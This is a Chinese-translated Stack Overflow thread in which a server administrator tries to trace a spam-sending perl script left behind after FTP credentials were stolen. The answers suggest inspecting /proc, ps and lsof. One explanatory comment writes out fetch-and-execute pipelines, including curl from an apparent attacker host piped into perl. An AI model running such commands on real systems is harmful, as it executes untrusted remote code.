【问题标题】:Find perl executing script/path [closed]查找perl执行脚本/路径[关闭]
【发布时间】:2012-03-02 19:37:05
【问题描述】:

我有一个运行 Centos 4 的 WHM 服务器(是的,我知道它只是变得不受支持)所有更新都已安装,一切似乎都是最新的。 2011 年 12 月,其中一位拥有 50 个网站的服务器所有者感染了他的计算机,病毒/木马读取了他的 FTP 保存的密码,然后通过 ftp 登录并修改了它可以找到的所有 index.php 文件,我们虽然我们全部清除。

问题如下,他们以某种方式使用 Apache 触发的 perl 脚本发送电子邮件我需要一种方法来找出他们正在触发的脚本的路径,在“ps”中它只显示作为“perl”,在检查 perl 脚本打开的文件时,它会列出所有 apache vhost 日志、apache 错误日志和 /dev/null。

我需要一种方法来找出发送电子邮件的脚本的路径,服务器现在两次被列入 spamhaus 的 CBL,“手动”搜索这不是一个选项,因为那里有 200 多个网站占用服务器上超过 100GB 的空间。

服务器没有被破坏,唯一的问题是我找不到发送垃圾邮件的脚本。

【问题讨论】:

  • 尽管听起来很苛刻,但您最好的选择可能是擦除盒子并从已知良好的备份中恢复。如果您没有已知的良好备份,那么最好通过构建新服务器并在移动文件之前审查所有文件来为您服务。如果您的黑客甚至是最低限度的能力,您可能永远无法根除对系统所做的所有更改。
  • 脚本不一定是本地明文文件。例如,decrypt warez.xxx | perlcurl http://hackerzlair.ca/spmmurz.pl | perl 是在系统上启动 perl 脚本的方法。

标签: linux perl email spam


【解决方案1】:

你可以试着从 /proc 目录中找出来

获取正在运行的perl进程的PID,然后检查

/proc/PID/cwd 这将是脚本当前工作目录的符号链接

检查

/proc/PID/cmdline 将包含正在运行的进程的完整命令行

(在这两种情况下,将 PID 替换为进程的 pid)

免责声明:我正在使用我的 linux 机器,因此您的文件系统布局完全有可能不同

【讨论】:

    【解决方案2】:

    在大多数 unix 系统上,ps 只显示命令名称,但

    ps -ef
    

    将显示完整路径。 Ps'es从unix到unix不同。如果这不起作用,请尝试

    man ps
    

    并寻找“完整”或“完整格式”。希望这会有所帮助。

    【讨论】:

      【解决方案3】:

      ps 通常有一个-f 标志或类似的东西,可以显示完整的信息集。如果这不起作用,请尝试使用lsof 作为从 ps 命令获得的进程号。

      【讨论】:

        猜你喜欢
        • 1970-01-01
        • 2015-02-01
        • 2013-06-26
        • 2010-12-21
        • 2013-08-31
        相关资源
        最近更新 更多